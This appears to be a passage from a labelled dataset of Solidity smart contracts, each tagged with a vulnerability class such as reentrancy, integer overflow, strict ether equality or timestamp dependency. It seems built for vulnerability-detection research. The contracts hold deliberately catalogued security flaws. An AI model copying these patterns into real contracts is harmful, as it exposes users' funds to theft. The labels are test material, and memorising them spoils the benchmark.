_amount); } function set_traded_token_as_seeded() private { traded_token_is_seeded = true; } function set_eth_as_seeded() private { eth_is_seeded = true; } function seed_traded_token() public only_admin() { require(!traded_token_is_seeded); set_traded_token_as_seeded(); deposit_token(traded_token_seed_amount); } function seed_eth() public payable only_admin() { require(!eth_is_seeded); require(msg.value == eth_seed_amount); set_eth_as_seeded(); deposit_eth(); } function seed_additional_token(uint256 _amount) public only_admin() { require(market_is_open()); deposit_token(_amount); } function seed_additional_eth() public payable only_admin() { require(market_is_open()); deposit_eth(); } function market_is_open() private view returns(bool) { return (eth_is_seeded && traded_token_is_seeded); } function deactivate_trading() public only_admin() { require(!trading_deactivated); trading_deactivated = true; } function reactivate_trading() public only_admin() { require(trading_deactivated); trading_deactivated = false; } function get_amount_sell(uint256 _amount) public view returns(uint256) { uint256 traded_token_balance_plus_amount_ = traded_token_balance.add(_amount); return (eth_balance.mul(_amount)).div(traded_token_balance_plus_amount_); } function get_amount_buy(uint256 _amount) public view returns(uint256) { uint256 eth_balance_plus_amount_ = eth_balance.add(_amount); return ((traded_token_balance).mul(_amount)).div(eth_balance_plus_amount_); } function get_amount_minus_commission(uint256 _amount) private view returns(uint256) { return (_amount.mul(uint256(1 ether).sub(commission_ratio))).div(1 ether); } function activate_admin_commission() public only_admin() { require(!admin_commission_activated); admin_commission_activated = true; } function deactivate_admin_comission() public only_admin() { require(admin_commission_activated); admin_commission_activated = false; } function change_admin_commission(uint256 _new_commission_ratio) public only_admin() { require(_new_commission_ratio != commission_ratio); commission_ratio = _new_commission_ratio; } function complete_sell_exchange(uint256 _amount_give) private { uint256 amount_get_ = get_amount_sell(_amount_give); uint256 amount_get_minus_commission_ = get_amount_minus_commission(amount_get_); uint256 platform_commission_ = (amount_get_.sub(amount_get_minus_commission_)).div(5); uint256 admin_commission_ = ((amount_get_.sub(amount_get_minus_commission_)).mul(4)).div(5); transfer_tokens_through_proxy_to_contract(msg.sender,this,_amount_give); transfer_eth_from_contract(msg.sender,amount_get_minus_commission_); transfer_eth_from_contract(platform, platform_commission_); if(admin_commission_activated) { transfer_eth_from_contract(admin, admin_commission_); } } function complete_buy_exchange() private { uint256 amount_get_ = get_amount_buy(msg.value); uint256 amount_get_minus_commission_ = get_amount_minus_commission(amount_get_); uint256 platform_commission_ = (amount_get_.sub(amount_get_minus_commission_)).div(5); uint256 admin_commission_ = ((amount_get_.sub(amount_get_minus_commission_)).mul(4)).div(5); transfer_eth_to_contract(); transfer_tokens_from_contract(msg.sender, amount_get_minus_commission_); transfer_tokens_from_contract(platform, platform_commission_); if(admin_commission_activated) { transfer_tokens_from_contract(admin, admin_commission_); } } function sell_tokens(uint256 _amount_give) public trading_activated() { require(market_is_open()); complete_sell_exchange(_amount_give); } function buy_tokens() private trading_activated() { require(market_is_open()); complete_buy_exchange(); } function() public payable { buy_tokens(); } } contract TokenLiquidityPlatform { address public admin; modifier only_admin() { require(msg.sender == admin); _; } function TokenLiquidityPlatform() public { admin = msg.sender; } function create_a_new_market(address _traded_token, uint256 _base_token_seed_amount, uint256 _traded_token_seed_amount, uint256 _commission_ratio) public { new TokenLiquidityMarket(_traded_token, _base_token_seed_amount, _traded_token_seed_amount, _commission_ratio); } function withdraw_eth(uint256 _amount) public only_admin() { admin.transfer(_amount); } function withdraw_token(address _token, uint256 _amount) public only_admin() { require(Token(_token).transfer(admin, _amount)); } }",./Dataset/ether strict equality (SE),3,3 39068.sol,"pragma solidity ^0.4.8; contract Owned { address public owner; function changeOwner(address _addr) onlyOwner { if (_addr == 0x0) throw; owner = _addr; } modifier onlyOwner { if (msg.sender != owner) throw; _; } } contract Mutex is Owned { bool locked = false; modifier mutexed { if (locked) throw; locked = true; _; locked = false; } function unMutex() onlyOwner { locked = false; } } contract Rental is Owned { function Rental(address _owner) { if (_owner == 0x0) throw; owner = _owner; } function offer(address from, uint num) { } function claimBalance(address) returns(uint) { return 0; } function exec(address dest) onlyOwner { if (!dest.call(msg.data)) throw; } } contract Token is Owned, Mutex { uint ONE = 10**8; uint price = 5000; Ledger ledger; Rental rentalContract; uint8 rollOverTime = 4; uint8 startTime = 8; bool live = false; address club; uint lockedSupply = 0; string public name = ""Legends""; uint8 public decimals = 8; string public symbol = ""LGD""; string public version = '1.1'; bool transfersOn = false; modifier onlyInputWords(uint n) { if (msg.data.length != (32 * n) + 4) throw; _; } function Token() { owner = msg.sender; } /* * Bookkeeping and Admin Functions */ event LedgerUpdated(address,address); function changeClub(address _addr) onlyOwner { if (_addr == 0x0) throw; club = _addr; } function changePrice(uint _num) onlyOwner { price = _num; } function safeAdd(uint a, uint b) returns (uint) { if ((a + b) < a) throw; return (a + b); } function changeLedger(address _addr) onlyOwner { if (_addr == 0x0) throw; LedgerUpdated(msg.sender, _addr); ledger = Ledger(_addr); } function changeRental(address _addr) onlyOwner { if (_addr == 0x0) throw; rentalContract = Rental(_addr); } function changeTimes(uint8 _rollOver, uint8 _start) onlyOwner { rollOverTime = _rollOver; startTime = _start; } /* * Locking is a feature that turns a user's balances into * un-issued tokens, taking them out of an account and reducing the supply. * Diluting is so named to remind the caller that they are changing the money supply. */ function lock(address _seizeAddr) onlyOwner mutexed { uint myBalance = ledger.balanceOf(_seizeAddr); lockedSupply += myBalance; ledger.setBalance(_seizeAddr, 0); } event Dilution(address, uint); function dilute(address _destAddr, uint amount) onlyOwner { if (amount > lockedSupply) throw; Dilution(_destAddr, amount); lockedSupply -= amount; uint curBalance = ledger.balanceOf(_destAddr); curBalance = safeAdd(amount, curBalance); ledger.setBalance(_destAddr, curBalance); } /* * Crowdsale -- * */ function completeCrowdsale() onlyOwner { // Lock unsold tokens // allow transfers for arbitrary owners transfersOn = true; lock(owner); } function pauseTransfers() onlyOwner { transfersOn = false; } function resumeTransfers() onlyOwner { transfersOn = true; } /* * Renting -- Logic TBD later. For now, we trust the rental contract * to manage everything about the rentals, including bookkeeping on earnings * and returning tokens. */ function rentOut(uint num) { if (ledger.balanceOf(msg.sender) < num) throw; rentalContract.offer(msg.sender, num); ledger.tokenTransfer(msg.sender, rentalContract, num); } function claimUnrented() { uint amount = rentalContract.claimBalance(msg.sender); // this should reduce sender's claimableBalance to 0 ledger.tokenTransfer(rentalContract, msg.sender, amount); } /* * Burning -- We allow any user to burn tokens. * */ function burn(uint _amount) { uint balance = ledger.balanceOf(msg.sender); if (_amount > balance) throw; ledger.setBalance(msg.sender, balance - _amount); } /* Entry */ function checkIn(uint _numCheckins) returns(bool) { int needed = int(price * ONE* _numCheckins); if (int(ledger.balanceOf(msg.sender)) > needed) { ledger.changeUsed(msg.sender, needed); return true; } return false; } // ERC20 Support. This could also use the fallback but // I prefer the control for now. event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function totalSupply() constant returns(uint) { return ledger.totalSupply(); } function transfer(address _to, uint _amount) onlyInputWords(2) returns(bool) { if (!transfersOn && msg.sender != owner) return false; if (!ledger.tokenTransfer(msg.sender, _to, _amount)) { return false; } Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint _amount) onlyInputWords(3) returns (bool) { if (!transfersOn && msg.sender != owner) return false; if (! ledger.tokenTransferFrom(msg.sender, _from, _to, _amount) ) { return false;} Transfer(msg.sender, _to, _amount); return true; } function allowance(address _from, address _to) constant returns(uint) { return ledger.allowance(_from, _to); } function approve(address _spender, uint _value) returns (bool) { if ( ledger.tokenApprove(msg.sender, _spender, _value) ) { Approval(msg.sender, _spender, _value); return true; } return false; } function balanceOf(address _addr) constant returns(uint) { return ledger.balanceOf(_addr); } } contract Ledger is Owned { uint ONE = 10**8; uint preMined = 30000000; mapping (address => uint) balances; mapping (address => uint) usedToday; mapping (address => bool) seenHere; address[] public seenHereA; mapping (address => mapping (address => uint256)) allowed; address token; uint public totalSupply = 0; function Ledger() { owner = msg.sender; seenHere[owner] = true; seenHereA.push(owner); totalSupply = preMined *ONE; balances[owner] = totalSupply; } modifier onlyToken { if (msg.sender != token) throw; _; } modifier onlyTokenOrOwner { if (msg.sender != token && msg.sender != owner) throw; _; } function tokenTransfer(address _from, address _to, uint amount) onlyToken returns(bool) { if (amount > balances[_from]) return false; if ((balances[_to] + amount) < balances[_to]) return false; if (amount == 0) { return false; } balances[_from] -= amount; balances[_to] += amount; if (seenHere[_to] == false) { seenHereA.push(_to); seenHere[_to] = true; } return true; } function tokenTransferFrom(address _sender, address _from, address _to, uint amount) onlyToken returns(bool) { if (allowed[_from][_sender] <= amount) return false; if (amount > balanceOf(_from)) return false; if (amount == 0) return false; if ((balances[_to] + amount) < amount) return false; balances[_from] -= amount; balances[_to] += amount; allowed[_from][_sender] -= amount; if (seenHere[_to] == false) { seenHereA.push(_to); seenHere[_to] = true; } return true; } function changeUsed(address _addr, int amount) onlyToken { int myToday = int(usedToday[_addr]) + amount; usedToday[_addr] = uint(myToday); } function resetUsedToday(uint8 startI, uint8 numTimes) onlyTokenOrOwner returns(uint8) { uint8 numDeleted; for (uint i = 0; i < numTimes && i + startI < seenHereA.length; i++) { if (usedToday[seenHereA[i+startI]] != 0) { delete usedToday[seenHereA[i+startI]]; numDeleted++; } } return numDeleted; } function balanceOf(address _addr) constant returns (uint) { // don't forget to subtract usedToday if (usedToday[_addr] >= balances[_addr]) { return 0;} return balances[_addr] - usedToday[_addr]; } event Approval(address, address, uint); function tokenApprove(address _from, address _spender, uint256 _value) onlyToken returns (bool) { allowed[_from][_spender] = _value; Approval(_from, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function changeToken(address _token) onlyOwner { token = Token(_token); } function reduceTotalSupply(uint amount) onlyToken { if (amount > totalSupply) throw; totalSupply -= amount; } function setBalance(address _addr, uint amount) onlyTokenOrOwner { if (balances[_addr] == amount) { return; } if (balances[_addr] < amount) { // increasing totalSupply uint increase = amount - balances[_addr]; totalSupply += increase; } else { // decreasing totalSupply uint decrease = balances[_addr] - amount; //TODO: safeSub totalSupply -= decrease; } balances[_addr] = amount; } }",./Dataset/reentrancy (RE)/,5,5 1251.sol,"pragma solidity 0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract MyToken { string public name = ""DTIpro""; string public symbol = ""DTI""; uint8 public decimals = 18; uint256 public totalSupply = 10000000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); constructor() public { totalSupply = totalSupply; balanceOf[msg.sender] = totalSupply * 10 ** uint256(decimals); name = name; symbol = symbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } function airDrop(address[] beneficiaries) public returns (bool success) { require(balanceOf[msg.sender] >= beneficiaries.length); for (uint8 i = 0; i< beneficiaries.length; i++) { address beneficiary = beneficiaries[i]; transfer(beneficiary, 1); } return true; } }",./Dataset/integer overflow (OF)/,4,4 9978.sol,"pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract EthTeamContract is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); uint256 public price; uint8 public status; uint64 public gameTime; uint64 public finishTime; address public feeOwner; address public gameOpponent; function EthTeamContract( string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner ) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; gameOpponent = _gameOpponent; gameTime = _gameTime; finishTime = _finishTime; feeOwner = _feeOwner; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Transfer(msg.sender, _to, _value); emit Sell(_to, msg.sender, _value, weiAmount); return true; } function() payable public { require(status == 0 && price > 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Transfer(address(this), msg.sender, amount); emit Buy(address(this), msg.sender, amount, msg.value); } function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } function changeFeeOwner(address _feeOwner) onlyOwner public { require(_feeOwner != feeOwner && _feeOwner != address(0)); feeOwner = _feeOwner; } function finish() onlyOwner public { require(block.timestamp >= finishTime); feeOwner.transfer(address(this).balance); } function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(this)); require(_gameTime == 0 || (_gameTime > 1514764800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); EthTeamContract op = EthTeamContract(gameOpponent); if (_gameResult == 1) { if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; if (op.totalSupply() > 0) { uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { op.transferFundAndEndGame(); } } else if (_gameResult == 2) { if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { revert(); } } else if (_gameResult == 3) { op.transferFundAndEndGame(); } else { revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }",./Dataset/timestamp dependency (TP)/,6,6 1102.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract VoipToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""VoipToken""; string public constant symbol = ""VOIP""; uint public constant decimals = 8; uint256 public totalSupply = 20000000000e8; uint256 public totalDistributed = 0; uint256 public constant MIN_CONTRIBUTION = 1 ether / 100; // 0.01 Ether uint256 public tokensPerEth = 15000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function VoipTken () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",./Dataset/ether strict equality (SE),3,3 40042.sol,"pragma solidity ^0.4.0; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setCustomGasPrice(uint _gasPrice); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if(address(OAR)==0) oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed)>0){ OAR = OraclizeAddrResolverI(0x1d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed); return true; } if (getCodeSize(0x9efbea6358bed926b293d2ce63a730d6d98d43dd)>0){ OAR = OraclizeAddrResolverI(0x9efbea6358bed926b293d2ce63a730d6d98d43dd); return true; } if (getCodeSize(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf)>0){ OAR = OraclizeAddrResolverI(0x20e12a1f859b3feae5fb2a0a32c18f5a65555bbf); return true; } if (getCodeSize(0x9a1d6e5c6c8d081ac45c6af98b74a42442afba60)>0){ OAR = OraclizeAddrResolverI(0x9a1d6e5c6c8d081ac45c6af98b74a42442afba60); return true; } return false; } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes config) oraclizeAPI internal { //return oraclize.setConfig(config); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 